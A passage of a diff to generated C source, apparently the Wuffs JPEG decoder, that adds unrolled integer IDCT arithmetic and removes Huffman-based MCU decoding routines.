((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- while (self->private_impl.f_mcu_zig_index <= 0u) { +- wuffs_base__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; +- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); +- v_dc_bl = (v_dc_ht_fast >> 8u); +- if (v_n_bits >= v_dc_bl) { +- v_dc_symbol = (15u & v_dc_ht_fast); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- v_bits <<= (v_dc_bl & 63u); +- v_n_bits -= v_dc_bl; +- } else { +- v_dc_code = ((uint32_t)((v_bits >> 55u))); +- v_dc_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; +- if (v_dc_code < (v_dc_ht_slow >> 8u)) { +- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); +- if (v_dc_blm1 == 0u) { +- v_dc_symbol = 0u; +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- } +- } +- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); +- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_dc_symbol; +- v_n_bits -= v_dc_symbol; +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; +- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; +- self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; +- self->private_impl.f_mcu_zig_index = 1u; +- break; +- } +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- if (v_n_bits < 16u) { +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- } +- v_z = 1u; +- self->private_impl.f_mcu_zig_index = 0u; +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (v_z < 64u) { +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_z += (v_ac_rrrr + 1u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; +- if (v_ac_ssss > 0u) { +- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); +- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_ac_ssss; +- v_n_bits -= v_ac_ssss; +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; +- } else if (v_ac_rrrr < 15u) { +- break; +- } +- } +- v_mcb = self->private_impl.f_mcu_current_block; +- self->private_impl.f_mcu_current_block += 1u; +- if (self->private_impl.f_test_only_interrupt_decode_mcu) { +- goto label__goto_done__break; +- } +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); +- v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); +- } +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; ++ if (0u == (self->private_data.f_mcu_blocks[0u][12u] | ++ self->private_data.f_mcu_blocks[0u][20u] | ++ self->private_data.f_mcu_blocks[0u][28u] | ++ self->private_data.f_mcu_blocks[0u][36u] | ++ self->private_data.f_mcu_blocks[0u][44u] | ++ self->private_data.f_mcu_blocks[0u][52u] | ++ self->private_data.f_mcu_blocks[0u][60u])) { ++ v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); ++ v_intermediate[12u] = v_intermediate[4u]; ++ v_intermediate[20u] = v_intermediate[4u]; ++ v_intermediate[28u] = v_intermediate[4u]; ++ v_intermediate[36u] = v_intermediate[4u]; ++ v_intermediate[44u] = v_intermediate[4u]; ++ v_intermediate[52u] = v_intermediate[4u]; ++ v_intermediate[60u] = v_intermediate[4u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint16_t v_ac_extend = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 0; +- uint32_t v_z = 0; +- +- if (self->private_impl.f_eob_run > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_eob_run -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- return 0u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][13u] | ++ self->private_data.f_mcu_blocks[0u][21u] | ++ self->private_data.f_mcu_blocks[0u][29u] | ++ self->private_data.f_mcu_blocks[0u][37u] | ++ self->private_data.f_mcu_blocks[0u][45u] | ++ self->private_data.f_mcu_blocks[0u][53u] | ++ self->private_data.f_mcu_blocks[0u][61u])) { ++ v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); ++ v_intermediate[13u] = v_intermediate[5u]; ++ v_intermediate[21u] = v_intermediate[5u]; ++ v_intermediate[29u] = v_intermediate[5u]; ++ v_intermediate[37u] = v_intermediate[5u]; ++ v_intermediate[45u] = v_intermediate[5u]; ++ v_intermediate[53u] = v_intermediate[5u]; ++ v_intermediate[61u] = v_intermediate[5u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][14u] | ++ self->private_data.f_mcu_blocks[0u][22u] | ++ self->private_data.f_mcu_blocks[0u][30u] | ++ self->private_data.f_mcu_blocks[0u][38u] | ++ self->private_data.f_mcu_blocks[0u][46u] | ++ self->private_data.f_mcu_blocks[0u][54u] | ++ self->private_data.f_mcu_blocks[0u][62u])) { ++ v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); ++ v_intermediate[14u] = v_intermediate[6u]; ++ v_intermediate[22u] = v_intermediate[6u]; ++ v_intermediate[30u] = v_intermediate[6u]; ++ v_intermediate[38u] = v_intermediate[6u]; ++ v_intermediate[46u] = v_intermediate[6u]; ++ v_intermediate[54u] = v_intermediate[6u]; ++ v_intermediate[62u] = v_intermediate[6u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- if (v_n_bits < 16u) { +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- } +- v_z = self->private_impl.f_mcu_zig_index; +- self->private_impl.f_mcu_zig_index = 0u; +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 